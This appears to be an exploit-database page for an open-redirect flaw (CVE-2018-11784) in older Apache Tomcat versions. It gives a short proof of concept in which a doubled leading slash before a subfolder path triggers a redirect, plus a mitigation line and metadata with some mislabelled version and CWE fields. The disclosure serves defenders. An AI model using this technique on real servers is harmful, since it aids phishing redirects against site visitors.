header-logo
Suggest Exploit
vendor:
Tomcat
by:
Central InfoSec
4,3
CVSS
MEDIUM
Open Redirect
601
CWE
Product Name: Tomcat
Affected Version From: Apache Tomcat 9.0.0.M1
Affected Version To: Apache Tomcat 7.0.90
Patch Exists: YES
Related CWE: CVE-2018-11784
CPE: a:apache:tomcat
Platforms Tested: All
2018

Apache Tomcat 9.0.0.M1 – Open Redirect

Apache Tomcat versions prior to 9.0.12, 8.5.34, and 7.0.91 are prone to an open-redirection vulnerability because it fails to properly sanitize user-supplied input.

Mitigation:

Ensure that all URLs are properly validated and sanitized before being used in a redirect.
Source

Exploit-DB raw data:

# Exploit Title: Apache Tomcat 9.0.0.M1 - Open Redirect
# Date: 10/04/2018
# Exploit Author: Central InfoSec
# Version: Apache Tomcat 9.0.0.M1 to 9.0.0.11, 8.5.0 to 8.5.33, and 7.0.23 to 7.0.90
# CVE : CVE-2018-11784

# Proof of Concept:

# Identify a subfolder within your application
http://example.com/test/

# Modify the URL to include at least 2 leading slashes before the subfolder and no trailing slash
http://example.com//test

# Browse to the newly created URL and the application will perform a redirection
http://test/